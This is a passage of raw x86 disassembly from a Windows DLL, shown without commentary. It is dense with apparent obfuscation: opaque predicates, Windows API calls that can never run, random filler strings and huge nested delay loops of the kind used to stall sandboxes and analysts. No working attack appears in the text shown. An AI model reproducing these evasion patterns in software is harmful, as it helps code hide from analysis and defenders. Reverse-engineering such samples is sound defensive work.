cmp ecx, dword [eax]
je 0x1002543f
mov dword [ebp - 0x5e4], 1
jmp 0x10025446
and dword [ebp - 0x5e4], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x5e4], eax
je 0x10025466
cmp dword [ebp - 0x980], 0
je 0x10025466
mov dword [ebp - 0x414], 1
jmp 0x1002546d
and dword [ebp - 0x414], 0
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0x808], eax
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0x744], 0x4085
jge 0x10025495
push dword [ebp - 0x9f0]
call fcn.10041403
pop ecx
jmp 0x100254b1
mov dword [ebp - 4], 0xf
jmp 0x100254c1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb84]
call fcn.10001d31
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x134]
mov ecx, dword [ebp - 0x24]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x988], 9
mov dword [ebp - 0x818], 0xd188047d
mov dword [ebp - 0x164], 0
jmp 0x10025512
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 3
jge 0x1002552e
mov eax, dword [ebp - 0x164]
mov dword [ebp + eax*4 - 0xc48], 0xb13e
jmp 0x10025505
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xc48], 0
je 0x10025607
mov dword [ebp - 0x1dc], 0x50bf34fd
mov dword [ebp - 0x810], 0x729cf308
mov dword [ebp - 0x1dc], 0x1a
jmp 0x1002556f
mov eax, dword [ebp - 0x1dc]
dec eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0xffffffec
jge 0x100255e9
mov dword [ebp - 0xd0], 0x942a1e94
mov dword [ebp - 0xd0], 0
jmp 0x1002559b
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 3
jge 0x100255b7
mov eax, dword [ebp - 0xd0]
mov dword [ebp + eax*4 - 0xc48], 0x8ef
jmp 0x1002558e
cmp dword [ebp - 0xd0], 0
jne 0x100255ce
xor eax, eax
inc eax
jne 0x100255ce
and dword [ebp - 0x41c], 0
jmp 0x100255d8
mov dword [ebp - 0x41c], 1
mov eax, dword [ebp - 0x41c]
mov dword [ebp - 0x810], eax
jmp 0x10025562
mov byte [ebp - 0x95], 0
movzx eax, byte [ebp - 0x95]
test eax, eax
je 0x10025605
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
jmp 0x10025670
mov dword [ebp - 0x2e4], 0
jmp 0x10025620
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 3
jge 0x1002563c
mov eax, dword [ebp - 0x2e4]
mov dword [ebp + eax*4 - 0xdb4], 1
jmp 0x10025613
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x988]
cmp ecx, dword [ebp + eax - 0xdb4]
jle 0x1002565d
mov dword [ebp - 0x5ec], 1
jmp 0x10025664
and dword [ebp - 0x5ec], 0
mov eax, dword [ebp - 0x5ec]
mov dword [ebp - 0x818], eax
jmp 0x10024d6b
mov dword [ebp - 4], 0x12
cmp dword [ebp - 0x424], 0x3a1f
jge 0x10025694
push dword [ebp - 0xa50]
call fcn.10041403
pop ecx
jmp 0x100256b0
or dword [ebp - 4], 0xffffffff
jmp 0x100256ba
mov dword [ebp - 0x7c], 0xf47a6dee
mov dword [ebp - 0x42c], 0xfffffff6
mov dword [ebp - 0xe8], 0xdc1b6eab
mov dword [ebp - 0x820], 0x7c629c4d
mov dword [ebp - 0x35c], 0xfffffff8
mov dword [ebp - 0x990], 0x217c7128
mov dword [ebp - 0x828], 0xfffffffc
mov dword [ebp - 0x1e4], 0
jmp 0x10025716
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 2
jge 0x10025732
mov eax, dword [ebp - 0x1e4]
mov dword [ebp + eax*4 - 0xacc], 0xfafbf261
jmp 0x10025709
cmp dword [ebp - 0x7c], 0
je 0x10025855
cmp dword [ebp - 0x7c], 0
jne 0x1002574e
mov dword [ebp - 0x6d4], 1
jmp 0x10025755
and dword [ebp - 0x6d4], 0
mov eax, dword [ebp - 0x6d4]
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 4
jl 0x10025776
mov dword [ebp - 0x5f4], 1
jmp 0x1002577d
and dword [ebp - 0x5f4], 0
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0x5f4], eax
jge 0x1002579d
cmp dword [ebp - 0xe8], 0
jne 0x1002579d
and dword [ebp - 0x434], 0
jmp 0x100257a7
mov dword [ebp - 0x434], 1
cmp dword [ebp - 0x434], 0xd627
jne 0x100257bf
mov dword [ebp - 0x7ac], 1
jmp 0x100257c6
and dword [ebp - 0x7ac], 0
mov eax, dword [ebp - 0x7ac]
mov dword [ebp - 0x820], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0
jne 0x100257f6
cmp dword [ebp - 0x35c], 0
jne 0x100257f6
and dword [ebp - 0x43c], 0
jmp 0x10025800
mov dword [ebp - 0x43c], 1
mov eax, dword [ebp - 0x990]
add eax, dword [ebp - 0x43c]
cmp eax, dword [ebp - 0x7c]
jg 0x1002581d
mov dword [ebp - 0x324], 1
jmp 0x10025824
and dword [ebp - 0x324], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x324]
mov dword [ebp + eax - 0xacc], ecx
mov eax, dword [ebp - 0x324]
sub eax, 0x9ca4
mov ecx, dword [ebp - 0x7c]
sub ecx, eax
je 0x10025855
mov dword [ebp - 0x5fc], 1
jmp 0x1002585c
and dword [ebp - 0x5fc], 0
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0x5fc], eax
jg 0x10025878
or eax, 0xffffffff
jne 0x10025878
and dword [ebp - 0x444], 0
jmp 0x10025882
mov dword [ebp - 0x444], 1
cmp dword [ebp - 0x444], 0xffffffff
je 0x10025897
mov dword [ebp - 0x6dc], 1
jmp 0x1002589e
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x7c]
cmp eax, dword [ebp - 0x6dc]
jl 0x100258b5
mov dword [ebp - 0x44c], 1
jmp 0x100258bc
and dword [ebp - 0x44c], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x44c], eax
jg 0x100258d3
mov dword [ebp - 0x604], 1
jmp 0x100258da
and dword [ebp - 0x604], 0
cmp dword [ebp - 0x604], 1
jge 0x100258ef
mov dword [ebp - 0x454], 1
jmp 0x100258f6
and dword [ebp - 0x454], 0
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0x454], eax
jge 0x10025910
mov dword [ebp - 0x74c], 1
jmp 0x10025917
and dword [ebp - 0x74c], 0
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0x74c], eax
jge 0x10025931
mov dword [ebp - 0x45c], 1
jmp 0x10025938
and dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0x45c]
mov dword [ebp - 0x828], eax
mov eax, dword [ebp - 0x7c]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xacc], eax
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x214]
movzx eax, byte [ebp + eax - 0x136]
movzx eax, word [ebp + eax*2 - 0xbe8]
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [ebp + ecx - 0x133]
and ecx, eax
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x214]
movzx eax, byte [ebp + eax - 0x136]
movzx eax, word [ebp + eax*2 - 0xbe8]
mov edx, dword [ebp - 0x24]
movzx edx, byte [ebp + edx - 0x133]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x134]
mov word [ebp + eax*2 - 0xbe8], dx
mov dword [ebp - 0xb8], 0x98a8f939
mov dword [ebp - 0x30c], 0xe28de637
cmp dword [ebp - 0xb8], 0
je 0x10025d1d
mov dword [ebp - 0x614], 0x220c
mov dword [ebp - 0x2bc], 0
jmp 0x100259f9
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 4
jge 0x10025a15
mov eax, dword [ebp - 0x2bc]
mov dword [ebp + eax*4 - 0xd3c], 0xe82ca96
jmp 0x100259ec
mov dword [ebp - 0xb8], 0
jmp 0x10025a2e
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0x29
jge 0x10025d18
push 3
lea ecx, [ebp - 0xa1c]
call fcn.10001cf5
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x1ec], 0
jmp 0x10025a68
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 3
jge 0x10025a8a
push dword [ebp - 0x1ec]
lea ecx, [ebp - 0xa1c]
call fcn.10001d4d
mov dword [eax], 0x868bb4
jmp 0x10025a5b
push 2
lea ecx, [ebp - 0xa1c]
call fcn.10001d4d
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0xd3c]
push 1
lea ecx, [ebp - 0xa1c]
call fcn.10001d4d
cmp dword [eax], esi
jl 0x10025ac1
mov dword [ebp - 0x60c], 1
jmp 0x10025ac8
and dword [ebp - 0x60c], 0
mov eax, dword [ebp - 0x60c]
mov dword [ebp - 0x30c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x30c]
imul ecx, dword [ebp - 0xb8]
cmp ecx, dword [ebp + eax - 0xd3c]
jge 0x10025afc
mov dword [ebp - 0x464], 1
jmp 0x10025b03
and dword [ebp - 0x464], 0
cmp dword [ebp - 0x464], 0xcef0
jle 0x10025b1b
mov dword [ebp - 0x6e4], 1
jmp 0x10025b22
and dword [ebp - 0x6e4], 0
mov eax, dword [ebp - 0x6e4]
sub eax, 0x7b8f1267
cmp eax, dword [ebp - 0xb8]
jge 0x10025b41
mov dword [ebp - 0x46c], 1
jmp 0x10025b48
and dword [ebp - 0x46c], 0
mov eax, dword [ebp - 0x46c]
mov dword [ebp - 0x614], eax
mov eax, dword [ebp - 0x614]
mov dword [ebp - 0xc4c], eax
push 2
lea ecx, [ebp - 0xa1c]
call fcn.10001d4d
cmp dword [eax], 0xd94fe5f3
jb 0x10025b81
mov dword [ebp - 0x474], 1
jmp 0x10025b88
and dword [ebp - 0x474], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x474]
mov dword [ebp + eax - 0xd3c], ecx
mov byte [ebp - 0xbc], 0
mov dword [ebp - 0x784], 0x75e9
mov dword [ebp - 0x9f8], str.tazfdcf_fqd_qrtgkhzdd_nrwrd
cmp dword [ebp - 0x784], 0x75fb
jle 0x10025c9f
and dword [ebp - 0x2fc], 0
jmp 0x10025bdc
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0x196e
jge 0x10025c9f
and dword [ebp - 0x1f4], 0
jmp 0x10025c02
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0x3b60
jge 0x10025c9a
and dword [ebp - 0x2c4], 0
jmp 0x10025c28
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0x1237
jge 0x10025c95
and dword [ebp - 0x1fc], 0
jmp 0x10025c4a
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0x299d
jge 0x10025c93
mov eax, dword [ebp - 0x2fc]
sub eax, dword [ebp - 0x1f4]
xor eax, dword [ebp - 0x2c4]
xor eax, dword [ebp - 0x1fc]
cdq
mov dword [ebp - 0x8b8], eax
mov dword [ebp - 0x8b4], edx
push dword [ebp - 0x8b4]
push dword [ebp - 0x8b8]
mov ecx, 0x10075958
call fcn.1000daa1
jmp 0x10025c3d
jmp 0x10025c1b
jmp 0x10025bf5
jmp 0x10025bcf
movzx eax, byte [ebp - 0xbc]
test eax, eax
je 0x10025cb8
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov byte [ebp - 4], 0x15
cmp dword [ebp - 0x784], 0x732d
jge 0x10025cd8
mov edx, dword [ebp - 0x9f8]
mov ecx, 0x10075958
call fcn.1001082c
jmp 0x10025cf4
mov dword [ebp - 4], 0x14
jmp 0x10025d04
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa1c]
call fcn.10001d31
jmp 0x10025a21
jmp 0x10025ebb
mov dword [ebp - 0x47c], 0x3d77
mov dword [ebp - 0x998], str.ylobpx_xvatxoike_xzlegbu_xwljuijm_bmna_oatwfc_jlsdglh_qjissrih
cmp dword [ebp - 0x47c], 0x4046
jle 0x10025e4a
and dword [ebp - 0x2ec], 0
jmp 0x10025d57
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0x154e
jge 0x10025e4a
and dword [ebp - 0x204], 0
jmp 0x10025d7d
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0x4447
jge 0x10025e45
and dword [ebp - 0x2cc], 0
jmp 0x10025da3
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0x58a1
jge 0x10025e40
and dword [ebp - 0x20c], 0
jmp 0x10025dc9
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0x6ef6
jge 0x10025e3b
mov eax, dword [ebp - 0x2ec]
imul eax, dword [ebp - 0x204]
mov ecx, dword [ebp - 0x2cc]
sar eax, cl
and eax, dword [ebp - 0x20c]
cdq
mov dword [ebp - 0x8c4], eax
mov dword [ebp - 0x8c0], edx
push dword [ebp - 0x8c0]
push dword [ebp - 0x8c4]
lea ecx, [ebp - 0xedc]
call fcn.100026cb
pop ecx
pop ecx
mov dword [ebp - 0x830], eax
mov ecx, dword [ebp - 0x830]
call fcn.1000da81
push eax
call fcn.10041403
pop ecx
lea ecx, [ebp - 0xedc]
call fcn.1000da77
jmp 0x10025dbc
jmp 0x10025d96
jmp 0x10025d70
jmp 0x10025d4a
mov byte [ebp - 0x9d], 0
movzx eax, byte [ebp - 0x9d]
test eax, eax
je 0x10025e6a
push 1
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov dword [ebp - 4], 0x17
cmp dword [ebp - 0x47c], 0x39a5
jge 0x10025e89
push dword [ebp - 0x998]
call fcn.10041403
pop ecx
jmp 0x10025ea5
or dword [ebp - 4], 0xffffffff
jmp 0x10025eaf
mov eax, dword [ebp - 0x30c]
mov dword [ebp - 0x30c], eax
and dword [ebp - 0x214], 0
jmp 0x10024d6b
mov dword [ebp - 0x61c], 0x3e62
mov dword [ebp - 0x838], str.koawsozt_wqdc_nyywkiac_peomhcbgn_rceifxeon
cmp dword [ebp - 0x61c], 0x4084
jle 0x10025fa0
and dword [ebp - 0x2d4], 0
jmp 0x10025f01
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0x830
jge 0x10025f96
and dword [ebp - 0x21c], 0
jmp 0x10025f27
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0x1362
jge 0x10025f91
and dword [ebp - 0x298], 0
jmp 0x10025f49
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0x61ea
jge 0x10025f8f
mov eax, dword [ebp - 0x2d4]
imul eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 0x298]
sar eax, cl
cdq
mov dword [ebp - 0x8d0], eax
mov dword [ebp - 0x8cc], edx
push dword [ebp - 0x8cc]
push dword [ebp - 0x8d0]
mov ecx, 0x10075958
call fcn.1000daa1
jmp 0x10025f3c
jmp 0x10025f1a
jmp 0x10025ef4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
mov dword [ebp - 4], 0x19
cmp dword [ebp - 0x61c], 0x3d66
jge 0x10025fc3
mov edx, dword [ebp - 0x838]
mov ecx, 0x10075958
call fcn.1001082c
jmp 0x10025fdf
or dword [ebp - 4], 0xffffffff
jmp 0x10025fe9
mov dword [ebp - 0x30], 0xffffffff
cmp dword [ebp - 0x30], 0x84dcc80f
jae 0x10026005
mov dword [ebp - 0x484], 1
jmp 0x1002600c
and dword [ebp - 0x484], 0
mov eax, dword [ebp - 0x484]
sub eax, dword [ebp - 0x30]
cmp eax, 4
ja 0x10026029
cmp dword [ebp - 0x30], 0
jne 0x10026029
and dword [ebp - 0x6ec], 0
jmp 0x10026033
mov dword [ebp - 0x6ec], 1
mov eax, dword [ebp - 0x30]
add eax, 0x5a97963b
cmp eax, dword [ebp - 0x6ec]
jl 0x1002604f
mov dword [ebp - 0x48c], 1
jmp 0x10026056
and dword [ebp - 0x48c], 0
cmp dword [ebp - 0x48c], 0x924c
jge 0x10026077
mov eax, 0x41ac3dc9
test eax, eax
je 0x10026077
mov dword [ebp - 0x624], 1
jmp 0x1002607e
and dword [ebp - 0x624], 0
cmp dword [ebp - 0x624], 0x509cb0be
jne 0x10026096
mov dword [ebp - 0x494], 1
jmp 0x1002609d
and dword [ebp - 0x494], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x494], eax
je 0x100260b4
mov dword [ebp - 0xa60], 1
jmp 0x100260bb
and dword [ebp - 0xa60], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xcac], eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x30], 0
jmp 0x100260db
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffe4
je 0x100260fd
mov byte [ebp - 0xbe], 0
movzx eax, byte [ebp - 0xbe]
test eax, eax
je 0x100260fb
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
jmp 0x100260d4
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0xbe8], cx
mov dword [ebp - 0x754], 0x7be7
mov dword [ebp - 0x9a0], str.auzr_xgqeh_abomc_dmgwkh_wdajgpi
cmp dword [ebp - 0x754], 0x7ef0
jle 0x10026239
and dword [ebp - 0x2a8], 0
jmp 0x10026147
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0x50a
jge 0x10026239
and dword [ebp - 0x224], 0
jmp 0x1002616d
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0x7315
jge 0x10026234
and dword [ebp - 0x2a0], 0
jmp 0x10026193
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0x13ae
jge 0x1002622f
and dword [ebp - 0x22c], 0
jmp 0x100261b9
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0x22e5
jge 0x1002622a
mov eax, dword [ebp - 0x224]
imul eax, dword [ebp - 0x2a0]
imul eax, dword [ebp - 0x22c]
or eax, dword [ebp - 0x2a8]
cdq
mov dword [ebp - 0x8dc], eax
mov dword [ebp - 0x8d8], edx
push dword [ebp - 0x8d8]
push dword [ebp - 0x8dc]
lea ecx, [ebp - 0xe34]
call fcn.100026cb
pop ecx
pop ecx
mov dword [ebp - 0x840], eax
mov ecx, dword [ebp - 0x840]
call fcn.1000da81
push eax
call fcn.10041403
pop ecx
lea ecx, [ebp - 0xe34]
call fcn.1000da77
jmp 0x100261ac
jmp 0x10026186
jmp 0x10026160
jmp 0x1002613a
mov dword [ebp - 4], 0x1b
cmp dword [ebp - 0x754], 0x788a
jge 0x10026258
push dword [ebp - 0x9a0]
call fcn.10041403
pop ecx
jmp 0x10026274
or dword [ebp - 4], 0xffffffff
jmp 0x1002627e
mov dword [ebp - 0xcc], 0x238e486a
mov dword [ebp - 0x2b0], 0x68c
mov dword [ebp - 0x37c], 0
push 3
lea ecx, [ebp - 0x7c8]
call fcn.10001cf5
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0x90], 1
mov dword [ebp - 0x850], 0x94d23a2c
mov dword [ebp - 0x68], 0
jmp 0x100262d4
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 3
jge 0x100262ea
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x388], 0xb6bc
jmp 0x100262cd
mov dword [ebp - 0x68], 0
jmp 0x100262fa
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 3
jge 0x10026316
push dword [ebp - 0x68]
lea ecx, [ebp - 0x7c8]
call fcn.10001d4d
mov dword [eax], 0x19fa553f
jmp 0x100262f3
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x388]
neg ecx
cmp ecx, dword [ebp + eax - 0x388]
jge 0x10026340
mov dword [ebp - 0x4ac], 1
jmp 0x10026347
and dword [ebp - 0x4ac], 0
mov dword [ebp - 0xcc], 0x8ec32687
cmp dword [ebp - 0xcc], 0x4d3ec93c
jge 0x10026369
mov dword [ebp - 0x49c], 1
jmp 0x10026370
and dword [ebp - 0x49c], 0
mov eax, dword [ebp - 0x2b0]
cmp dword [ebp - 0x49c], eax
jg 0x1002638a
mov dword [ebp - 0x62c], 1
jmp 0x10026391
and dword [ebp - 0x62c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x388]
cmp dword [ebp - 0x62c], eax
jge 0x100263b1
mov dword [ebp - 0x4a4], 1
jmp 0x100263b8
and dword [ebp - 0x4a4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x388]
add eax, dword [ebp - 0x4a4]
push 4
pop ecx
imul ecx, ecx, 0
cmp dword [ebp + ecx - 0x388], eax
jle 0x100263e6
mov dword [ebp - 0x6f4], 1
jmp 0x100263ed
and dword [ebp - 0x6f4], 0
mov eax, dword [ebp - 0x6f4]
mov dword [ebp - 0x37c], eax
mov eax, dword [ebp - 0x37c]
cmp dword [ebp - 0x4ac], eax
jge 0x10026413
mov dword [ebp - 0x634], 1
jmp 0x1002641a
and dword [ebp - 0x634], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x388]
imul ecx, dword [ebp - 0x634]
imul ecx, dword [ebp + eax - 0x388]
mov dword [ebp - 0x4b4], ecx
push 2
lea ecx, [ebp - 0x7c8]
call fcn.10001d4d
mov ecx, dword [ebp - 0x4b4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4b4]
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0
je 0x10026480
mov eax, 0x4593
test eax, eax
je 0x10026480
mov dword [ebp - 0x7b4], 1
jmp 0x10026487
and dword [ebp - 0x7b4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x7b4]
sub ecx, dword [ebp + eax - 0x388]
cmp ecx, dword [ebp - 0x2b0]
jne 0x100264ae
mov dword [ebp - 0x4bc], 1
jmp 0x100264b5
and dword [ebp - 0x4bc], 0
cmp dword [ebp - 0x4bc], 0xcef3
jge 0x100264cd
mov dword [ebp - 0x63c], 1
jmp 0x100264d4
and dword [ebp - 0x63c], 0
cmp dword [ebp - 0x63c], 0x2002
jl 0x100264ec
mov dword [ebp - 0x848], 1
jmp 0x100264f3
and dword [ebp - 0x848], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x388]
mov dword [ebp - 0xc5c], eax
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0x388]
push 1
lea ecx, [ebp - 0x7c8]
call fcn.10001d4d
cmp dword [eax], esi
jne 0x1002653a
push 2
lea ecx, [ebp - 0x7c8]
call fcn.10001d4d
cmp dword [eax], 0
je 0x1002672f
mov dword [ebp - 0x4c4], 0xfffffffd
mov dword [ebp - 0x234], 0
jmp 0x1002655d
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 3
jge 0x10026579
mov eax, dword [ebp - 0x234]
mov dword [ebp + eax*4 - 0xb9c], 0
jmp 0x10026550
mov dword [ebp - 0x90], 0xffffffef
jmp 0x10026592
mov eax, dword [ebp - 0x90]
dec eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0xffffffec
jg 0x1002672a
mov dword [ebp - 0xd8], 0xfffffff9
push 2
lea ecx, [ebp - 0x7c8]
call fcn.10001d4d
cmp dword [eax], 0
je 0x100265dc
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x4c4], eax
cmp dword [ebp - 0x4c4], 0
je 0x100265dc
mov dword [ebp - 0x4d4], 1
jmp 0x100265e3
and dword [ebp - 0x4d4], 0
cmp dword [ebp - 0xd8], 0
je 0x10026632
mov eax, dword [ebp - 0xd8]
cmp eax, dword [ebp - 0x37c]
jge 0x10026606
mov dword [ebp - 0x6fc], 1
jmp 0x1002660d
and dword [ebp - 0x6fc], 0
mov eax, dword [ebp - 0x6fc]
sub eax, dword [ebp - 0xd8]
jne 0x10026628
xor eax, eax
jne 0x10026628
and dword [ebp - 0x4cc], 0
jmp 0x10026632
mov dword [ebp - 0x4cc], 1
mov esi, dword [ebp - 0x2b0]
push 2
lea ecx, [ebp - 0x7c8]
call fcn.10001d4d
cmp esi, dword [eax]
jne 0x10026655
mov dword [ebp - 0x644], 1
jmp 0x1002665c
and dword [ebp - 0x644], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb9c]
cmp dword [ebp - 0x644], eax
jne 0x1002667d
mov dword [ebp - 0x75c], 1
jmp 0x10026684
and dword [ebp - 0x75c], 0
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0x75c]
jle 0x1002669e
mov dword [ebp - 0xa00], 1
jmp 0x100266a5
and dword [ebp - 0xa00], 0
push 0xfffffffffffffffd
pop eax
cmp eax, 0xf5349dda
ja 0x100266bb
mov dword [ebp - 0x4dc], 1
jmp 0x100266c2
and dword [ebp - 0x4dc], 0
mov eax, dword [ebp - 0x4dc]
add eax, 0xf12
je 0x100266e2
push 6
pop eax
test eax, eax
je 0x100266e2
mov dword [ebp - 0x64c], 1
jmp 0x100266e9
and dword [ebp - 0x64c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb9c]
mov dword [ebp - 0xcb4], eax
mov eax, dword [ebp - 0x64c]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0xc6c], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xb9c], 0xfffffff7
jmp 0x10026585
jmp 0x1002686b
mov dword [ebp - 0x654], 0xf115
mov dword [ebp - 0xcc], 0xa
jmp 0x10026752
mov eax, dword [ebp - 0xcc]
dec eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 3
jge 0x1002686b
mov dword [ebp - 0x23c], 6
mov eax, dword [ebp - 0x850]
mov dword [ebp - 0xcbc], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x388], 0x907b4787
jge 0x10026794
mov dword [ebp - 0x4e4], 1
jmp 0x1002679b
and dword [ebp - 0x4e4], 0
mov eax, dword [ebp - 0x654]
neg eax
cmp eax, dword [ebp - 0x4e4]
jne 0x100267b7
mov dword [ebp - 0x704], 1
jmp 0x100267be
and dword [ebp - 0x704], 0
mov eax, dword [ebp - 0x2b0]
cmp dword [ebp - 0x704], eax
jle 0x100267d8
mov dword [ebp - 0x9a8], 1
jmp 0x100267df
and dword [ebp - 0x9a8], 0
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0xc7c], eax
cmp dword [ebp - 0x23c], 0
je 0x10026809
cmp dword [ebp - 0x23c], 0
je 0x10026809
mov dword [ebp - 0x4ec], 1
jmp 0x10026810
and dword [ebp - 0x4ec], 0
mov eax, dword [ebp - 0x4ec]
inc eax
inc eax
cmp eax, dword [ebp - 0x90]
jne 0x1002682c
mov dword [ebp - 0x4f4], 1
jmp 0x10026833
and dword [ebp - 0x4f4], 0
mov eax, dword [ebp - 0x654]
sub eax, dword [ebp - 0x4f4]
mov dword [ebp - 0x23c], eax
mov byte [ebp - 0xa5], 0
movzx eax, byte [ebp - 0xa5]
test eax, eax
je 0x10026866
push 0
push 0x1975
push 0
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
jmp 0x10026745
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7c8]
call fcn.10001d31
lea eax, [ebp - 0xbe8]
push eax
lea ecx, [ebp - 0xe94]
call fcn.1001462c
mov dword [ebp - 0x858], eax
mov eax, dword [ebp - 0x858]
mov dword [ebp - 0xa74], eax
mov dword [ebp - 4], 0x1e
push dword [ebp - 0xa74]
call fcn.1001e866
pop ecx
mov dword [ebp - 0x508], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe94]
call fcn.1000dc16
mov dword [ebp - 0x78c], 1
mov dword [ebp - 0x32c], 6
